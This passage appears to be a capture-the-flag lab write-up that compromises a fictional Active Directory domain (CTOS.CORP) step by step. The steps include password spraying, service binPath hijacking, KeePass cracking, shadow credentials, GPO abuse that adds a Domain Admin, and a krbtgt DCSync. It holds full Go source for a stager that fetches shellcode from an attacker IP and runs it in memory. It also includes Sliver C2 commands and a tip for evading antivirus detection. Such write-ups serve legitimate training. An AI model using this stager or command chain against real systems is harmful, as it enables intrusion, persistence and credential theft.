<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F2MtSttLYz0S6iy1OTBrL%2Fgrafik.png?alt=media&amp;token=f603fbe6-a533-45fe-a09f-4e8ae3fb8698" alt=""><figcaption></figcaption></figure>

If we query for the shortest path to Domain Admins we get a glimpse of how we might to proceed later. The `svc_infra_mgr` account has `GenericWrite` permissions over the `it_ops_lead` user, which allows us to perform a targeted Kerberoast or shadow credential attack to gain access to `it_ops_lead`. That user, in turn, has an `AddMember` permission over the `policy_automation_group`, which can `WriteOwner` on the Default Domain Controllers Policy, allowing to escalate through GPO abuse to create a new admin user via a scheduled task. If we can compromise `it_ops_lead`, we can add the user to the `policy_automation_group` and follow the depicted attack path to compromise the domain.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FSs3PwPo26ggP4QGn6SEY%2Fgrafik.png?alt=media&amp;token=a76a50b6-9a69-4734-bc01-a166d7596b86" alt=""><figcaption></figcaption></figure>

## Shell as l\_conrad on IT-WS01

However, since we currently have no path to escalate to the high value users found in our BloodHound analysis, we must proceed differently. During our credentials test, we had already determined that the user `svc_web` has read access to the `IT_Onboarding` share, which may contain default credentials or other sensitive information. We connect to the share using smbclient.py and retrieve the `SEC-POL-2026.pdf` document.

{% code overflow="wrap" expandable="true" %}

```
smbclient.py 'CTOS.CORP/svc_web@IT-WS01.CTOS.CORP' -hashes ':REDACTED'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FQDWeTqqAmdreDuMdv9n6%2Fgrafik.png?alt=media&amp;token=d784f76e-0b20-435f-b2a8-159004cda140" alt=""><figcaption></figcaption></figure>

This policy describes of how the temporary intial password is constructed.

{% code overflow="wrap" expandable="true" %}

```
SEC-POL-2026.pdf
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FXNDOE0cpgvM3Z4MKZBGn%2Fgrafik.png?alt=media&amp;token=f3006ffe-a372-4969-aa9b-43738760b78a" alt=""><figcaption></figcaption></figure>

We take note of the conditions to craft a script to generate a wordlist for all the users present in the domain. We also need the first and lastname of the users to construct the password...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FmAlwkPkg4tnQTdDl6rvL%2Fgrafik.png?alt=media&amp;token=e0c238c3-2acc-4b08-9c55-4da2a2e70a28" alt=""><figcaption></figcaption></figure>

Using NetExec's `--query` option we perform a raw LDAP query to retrieve all users with their first and last names.

{% code overflow="wrap" expandable="true" %}

```
nxc ldap DC01.CTOS.CORP \
  -d CTOS.CORP \
  -u svc_web \
  -H REDACTED \
  --query '(&(objectCategory=person)(objectClass=user))' \
  'sAMAccountName,givenName,sn'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FpqxoW8lzgsrQbGTayIHu%2Fgrafik.png?alt=media&amp;token=287bce45-c192-4462-b9be-324735e0b37b" alt=""><figcaption></figcaption></figure>

Next we craft a script to generate a wordlist of passwords to the corresponding usernames.

{% code overflow="wrap" expandable="true" %}

```python
#!/usr/bin/env python3

SPECIALS = "@#$%&"
YEAR = "2026"

names = {
    "j_wilson": ("James", "Wilson"),
    "l_conrad": ("Lisa", "Conrad"),
    "m_chen": ("Mike", "Chen"),
    "s_patel": ("Sarah", "Patel"),
    "e_rodriguez": ("Elena", "Rodriguez"),
    "d_kim": ("David", "Kim"),
}

with open("credentials.txt", "w") as f:
    for username, (first, last) in names.items():
        first3 = first[:3].upper()
        last2 = last[-2:].lower()

        for special in SPECIALS:
            password = f"{first3}!{YEAR}{special}{last2}"
            f.write(f"{username}:{password}\n")
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F7UrieCerGKCQ5i6OsbFR%2Fgrafik.png?alt=media&amp;token=7fc5a677-61bf-4555-8691-6afec04f9fc9" alt=""><figcaption></figcaption></figure>

Since `credentials.txt` contains `username:password` pairs andNetExec cant use that format as a combined credential file, we split it into the two lists. Next, we perform a password spray with the resulting wordlists and do find a valid credential pair for the user `l_conrad`.

{% code overflow="wrap" expandable="true" %}

```
cut -d: -f1 credentials.txt | sort -u > users.txt
cut -d: -f2- credentials.txt > passwords.txt
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
nxc smb DC01.CTOS.CORP -d CTOS.CORP -u users.txt -p passwords.txt | grep '[+]'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FvuFaUS89GLFrzLQtmX7N%2Fgrafik.png?alt=media&amp;token=3762b0e5-ef34-4711-b6dc-4ebd621e1cc3" alt=""><figcaption></figcaption></figure>

We inpect our BloodHound results an mark the user as owned, but the user does not hold any special privileges or group memberships either.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F6unHAMx2vAaY5JgODX6Z%2Fgrafik.png?alt=media&amp;token=4b407101-e023-4399-b409-cc7c8527fe64" alt=""><figcaption></figcaption></figure>

Nevertheless we try to get a session using evil-winrm on `IT-WS01` as `l_conrad` and are successful.

{% code overflow="wrap" expandable="true" %}

```
evil-winrm -i IT-WS01.CTOS.CORP -u 'l_conrad' -p 'REDACTED'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FjiSciG6h1QzkHZd8qMuS%2Fgrafik.png?alt=media&amp;token=88992934-0569-4c11-adf4-db2ecd1d11cc" alt=""><figcaption></figcaption></figure>

## Shell as NT AUTHORITY\SYSTEM on IT-WS01

Now with a remote session we use the latest version of PrivescCheck to enumerate the target machine.

{% embed url="<https://github.com/itm4n/PrivescCheck>" %}

{% code overflow="wrap" expandable="true" %}

```
upload PrivescCheck.ps1
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Report PrivescCheck_$($env:COMPUTERNAME) -Format TXT,HTML"
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FmwAuwCZYKFI6SnB884Vn%2Fgrafik.png?alt=media&amp;token=5f783248-9d4d-4410-9ea0-2aa85a2c9fbd" alt=""><figcaption></figcaption></figure>

We download the resulting report...

{% code overflow="wrap" expandable="true" %}

```
download PrivescCheck_IT-WS01.html
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fa2pbdU9BbpxkZMYfsaRS%2Fgrafik.png?alt=media&amp;token=84c200bb-0ed1-49fd-a8cc-275f824f843d" alt=""><figcaption></figcaption></figure>

And we see that there is a service called `CTOSInventorySvc` that `BUILTIN\Users` has `AllAccess` over this service through the SCM, meaning our current user can modify it. Since `AllAccess` includes rights like `SERVICE_CHANGE_CONFIG` and `SERVICE_START`, we can repoint the service binary path to a payload of our choice and start it to execute it as `LocalSystem`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FuYCoy4yAUxrFYu4SJdq8%2Fgrafik.png?alt=media&amp;token=391a3748-c5cc-4a39-a701-07e96d4d1559" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FNuj6RxSrjS1AYwXEALlR%2Fgrafik.png?alt=media&amp;token=c5fe8dfc-2d7e-47a4-be40-ea4f7c470a96" alt=""><figcaption></figcaption></figure>

So, as the next step, we'll try to change the `binPath` service to our Sliver service stager, which we've already used in the Kiosk scenario and then start the service to establish a session in Sliver as an `NT/AUTHORITY SYSTEM`.

We grab the service stager we build for the Kiosk lab:

{% embed url="<https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/kiosk#shell-as-dh_admin>" %}

**Prepare a custom stager**&#x20;

First we need to prepare the stager. This is the one we created for the lab Kiosk built into a service boiler plate.

The stager fetches raw shellcode from a chosen URL and loads it directly into memory as bytes. The payload is not embedded in the binary, allowing it to be changed without recompiling.

It calls `VirtualAlloc` to reserve and commit memory with execute, read, and write permissions, then copies the downloaded shellcode into that memory using unsafe pointer operations.

The execution is transferred to the allocated memory address using `syscall.Syscall`, handing control to the shellcode.

{% code title="service-stager.go" overflow="wrap" lineNumbers="true" expandable="true" %}

```go
	package main
	
	import (
		"golang.org/x/sys/windows/svc"
		"log"
		"io"
		"net/http"
		"syscall"
		"unsafe"
	)	
	var (
		kernel32            = syscall.NewLazyDLL("kernel32.dll")
		procVirtualAlloc    = kernel32.NewProc("VirtualAlloc")
	)
			
	const (	
		MEM_COMMIT             = 0x1000
		MEM_RESERVE            = 0x2000
		PAGE_EXECUTE_READWRITE = 0x40
	)
			
	func downloadShellcode(url string) ([]byte, error) {
		resp, err := http.Get(url)
		if err != nil {
			return nil, err
		}
		defer resp.Body.Close()
		return io.ReadAll(resp.Body)
	}
			
	func execute(data []byte) {
		go func() {
			defer func() { recover() }() // Catch panics
			
			addr, _, _ := procVirtualAlloc.Call(
				0,
				uintptr(len(data)),
				MEM_COMMIT|MEM_RESERVE,
				PAGE_EXECUTE_READWRITE,
			)
			if addr == 0 {
				return
			}
			
			for i := 0; i < len(data); i++ {
				*(*byte)(unsafe.Pointer(addr + uintptr(i))) = data[i]
			}
			
			syscall.Syscall(addr, 0, 0, 0, 0)
		}()
		
		// Returns immediately, execution happens in background
	}
	
	func main() {
		isService, err := svc.IsWindowsService()
		if err != nil {
			log.Fatal(err)
		}
	
		if isService {
			// Run as service with proper event handling
			url := "http://10.200.81.134/shellc.bin"
			shellcode, err := downloadShellcode(url)
			if err != nil {
				panic(err)
			}
			execute(shellcode)
			if err := svc.Run("MyService", handler{}); err != nil {
				log.Println("Service error:", err)
			}
			return
		}
		select {} // Keep running
		// Normal program execution
		run()
	}
	
	type handler struct{}
	
	func (h handler) Execute(args []string, r <-chan svc.ChangeRequest, changes chan<- svc.Status) (ssec bool, errno uint32) {
		changes <- svc.Status{State: svc.Running, Accepts: svc.AcceptStop}
	
		for {
			select {
			case c := <-r:
				switch c.Cmd {
				case svc.Stop, svc.Shutdown:
					changes <- svc.Status{State: svc.StopPending}
					return false, 0
				}
			}
		}
	}
	
	func run() {
	}
```

{% endcode %}

We compile the stager as follows on our exegol instance:

{% hint style="info" %}
The addition of `-ldflags="-H windowsgui"` ensures that we compile it as an application and not a console app, so it wont spawn a terminal.
{% endhint %}

{% hint style="info" %}
Since the stager got caught due to sample submission, but want to reuse it, we use a simple trick and use the `-s -w` ldflags for compilation. Using `-s -w` strips debug symbols and DWARF metadata from the Go binary, changing its hash and reducing recognizable signatures, which can help avoid detection because antivirus engines that previously flagged the original sample submission may no longer match the modified compiled file exactly. We might see this neat trick later again.
{% endhint %}

```
go get golang.org/x/sys/windows/svc
```

```
GOOS=windows GOARCH=amd64 CGO_ENABLED=0 go build -ldflags="-X main.Version=1.0.0" -o stager.exe service-stager.go
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F1f4mmt8r6lNrPkdpPMJn%2Fgrafik.png?alt=media&amp;token=09e355e5-10ed-4fa0-beea-027d8c21cc6f" alt=""><figcaption></figcaption></figure>

**Generate shell code**

{% hint style="info" %}
During generation without the `-G` tag, which disables the encoder, no shellcode could be successfully generated. The resulting shellcode was always empty. This may be related to the underlying architecture on which I am operating, namely ARM:

<https://github.com/BishopFox/sliver/issues/1114>
{% endhint %}

Next, we need run the Sliver server and generate the shell code to connect to our sliver instance.

We do this as follows:

```
sliver-server
```

{% code overflow="wrap" %}

```
generate --mtls 10.200.81.134:443 --os windows --arch amd64 --format shellcode -G --save /workspace/hacksmarter/ctos/shellc.bin
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fo3GTdLVeBv6njGeaFHt3%2Fgrafik.png?alt=media&amp;token=0064a7dd-907d-40e5-b391-c2e413d9d4c2" alt=""><figcaption></figcaption></figure>

We run a web server from which the stager and the shellcode can be fetched.

```
sudo python -m http.server 80
```

**Setup listener**

We set up the listener in sliver as follows:

```
mtls --lhost 10.200.81.134 --lport 443
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FG8m4ggTp2pjWg8pFJAnk%2Fgrafik.png?alt=media&amp;token=f8bae568-493c-4dbd-8a22-e06135e087fa" alt=""><figcaption></figcaption></figure>

Finally we upload the stager, change the `binPath` of the service to point to our stager and run the service.

{% code overflow="wrap" expandable="true" %}

```
upload stager.exe
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
sc.exe config CTOSInventorySvc binPath= "C:\Users\l_conrad\Documents\stager.exe"
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
Start-Service -Name CTOSInventorySvc
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FxoYTwSe6NYl1sxG6DLUZ%2Fgrafik.png?alt=media&amp;token=05d1b8cb-b281-462e-8b10-6358225b46fe" alt=""><figcaption></figcaption></figure>

We get a session and interact with it as follows.&#x20;

We are `NT AUTHORITY\SYSTEM` on I`T-WS01`.

{% code overflow="wrap" expandable="true" %}

```
sessions -i 3ed0026e
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FYr8rt68HIBvQzT7GJFE0%2Fgrafik.png?alt=media&amp;token=6b8878f1-6162-4bfd-8f44-16d4e4dc6eb7" alt=""><figcaption></figcaption></figure>

## Access as svc\_infra\_mgr

In the administrator's Documents folder, we find a KeePass file. We download it directly.

{% code overflow="wrap" expandable="true" %}

```
ls C:\\Users\\Administrator\\Documents
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
download C:\\Users\\Administrator\\Documents\\Database.kdbx
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fh2EmKTciEE1MesuEQZgT%2Fgrafik.png?alt=media&amp;token=ffa02785-1f04-437d-a2be-b9c41f322121" alt=""><figcaption></figcaption></figure>

On our machine we generate a hash using keepass2john to eventually crack the keepass file. It turns out the file is poorly secured by a weak password

{% code overflow="wrap" expandable="true" %}

```
john --format=KeePass --wordlist=/usr/share/wordlists/rockyou.txt database.hash
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FarToYl4idUcUBwTo1ilS%2Fgrafik.png?alt=media&amp;token=c47d2fe1-a2f0-4568-b4ff-12da69af156d" alt=""><figcaption></figcaption></figure>

We unlock the keepass file with the cracked password and are able to retrieve the `svc_infra_mgr` users password.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FGH9q1ygk7r1UYg0vrHB5%2Fgrafik.png?alt=media&amp;token=cab5c820-9ac8-4e70-9836-5224e78881df" alt=""><figcaption></figcaption></figure>

Next, we test the credentials against SMB using NetExec and successfully authenticate.

{% code overflow="wrap" expandable="true" %}

```
nxc smb DC01.CTOS.CORP -u svc_infra_mgr -p 'REDACTED' --shares
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FETJd1hjNNB8ZYBWJfzbc%2Fgrafik.png?alt=media&amp;token=244d6a67-700f-47d3-a2c4-14ca79da1aaf" alt=""><figcaption></figcaption></figure>

## Access as it\_ops\_lead

We recall our finding from our intial BloodHound enumeration and see that we can now follow the path we have intially uncovered:

> If we query for the shortest path to Domain Admins we get a glimpse of how we might to proceed later. The `svc_infra_mgr` account has `GenericWrite` permissions over the `it_ops_lead` user, which allows us to perform a targeted Kerberoast or shadow credential attack to gain access to `it_ops_lead`. That user, in turn, has an `AddMember` permission over the `policy_automation_group`, which can `WriteOwner` on the Default Domain Controllers Policy, allowing to escalate through GPO abuse to create a new admin user via a scheduled task. If we can compromise `it_ops_lead`, we can add the user to the `policy_automation_group` and follow the depicted attack path to compromise the domain.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FYwvpLZswoMfsoTePeWFA%2Fgrafik.png?alt=media&amp;token=95224921-31a4-495c-8551-4d5ddd05ecd9" alt=""><figcaption></figcaption></figure>

We perform a shadow credentials attack on `it_ops_lead` and are able to retrieve the NT hash.

{% embed url="<https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials>" %}

{% code overflow="wrap" expandable="true" %}

```
certipy shadow auto -u 'svc_infra_mgr' -p 'REDACTED' -account 'it_ops_lead' -dc-ip 10.1.96.207
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F0e3cdwtfVSuUxjSBkSpN%2Fgrafik.png?alt=media&amp;token=197ba934-5e88-4c89-8613-edffe738f210" alt=""><figcaption></figcaption></figure>

Next, we test the credentials against SMB using NetExec and successfully authenticate.

{% code overflow="wrap" expandable="true" %}

```
nxc smb DC01.CTOS.CORP -u it_ops_lead -H 'REDACTED' --shares
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FcUagREU8hyOxDszewat0%2Fgrafik.png?alt=media&amp;token=f8cb583b-162e-47d5-bfe2-5aa0830384c2" alt=""><figcaption></figcaption></figure>

## Access as Administrator on DC01

With access as `it_ops_lead` we add the user to the `policy_automation_group` using bloodyAD.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC01.CTOS.CORP -d CTOS.CORP -u 'it_ops_lead' -p ':REDACTED' add groupMember 'policy_automation_group' 'it_ops_lead'   
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FJL8IXtVRma5TJ0yk8Zrc%2Fgrafik.png?alt=media&amp;token=9db36f99-2fc0-40b3-917a-1b5baa892078" alt=""><figcaption></figcaption></figure>

Next, we leverage the `WriteOwner` permission over the default domain controllers policy by using the pygpoabuse to create a scheduled task to create a new admin user. This requires the gpo-id. We have that already from our BloodHound enumeration.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FNiG0ONuyOcB3aal8XZ5w%2Fgrafik.png?alt=media&amp;token=348f4e0d-0f3b-4ac5-8c77-236998c32629" alt=""><figcaption></figcaption></figure>

```
6AC1786C-016F-11D2-945F-00C04FB984F9 
```

{% code overflow="wrap" expandable="true" %}

```
pygpoabuse.py 'CTOS.CORP'/'it_ops_lead' \
  -hashes ':REDACTED' \
  -gpo-id '6AC1786C-016F-11D2-945F-00C04FB984F9' \
  -command 'net user bob Pwned123@! /add && net group "Domain Admins" bob /add'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F9QHlvJkiunbWj1JUW647%2Fgrafik.png?alt=media&amp;token=f1a24468-3591-40fa-9647-796b41d08d9b" alt=""><figcaption></figcaption></figure>

After a short duration we test if the gpo has been applied and the scheduled task has been run. It has and we see we can now authenticate with our newly created user.

{% code overflow="wrap" expandable="true" %}

```
nxc smb DC01.CTOS.CORP -u bob -p 'Pwned123@!' --shares    
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FMpP9VMnBV3uskv5hdJA7%2Fgrafik.png?alt=media&amp;token=2ddf6443-cb83-4f5e-b74a-925785636f88" alt=""><figcaption></figcaption></figure>

Finally we can perform a DC sync attack on the domain controller and retrieve the hash of the `krbtgt` user.

{% code overflow="wrap" expandable="true" %}

```
secretsdump.py bob:'Pwned123@!'@10.1.96.207 -just-dc-user krbtgt
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FbYzSneoKtZYrd2uyoUrE%2Fgrafik.png?alt=media&amp;token=bdfc35cc-8085-4364-b3c8-77eaf23c5b50" alt=""><figcaption></figcaption></figure>
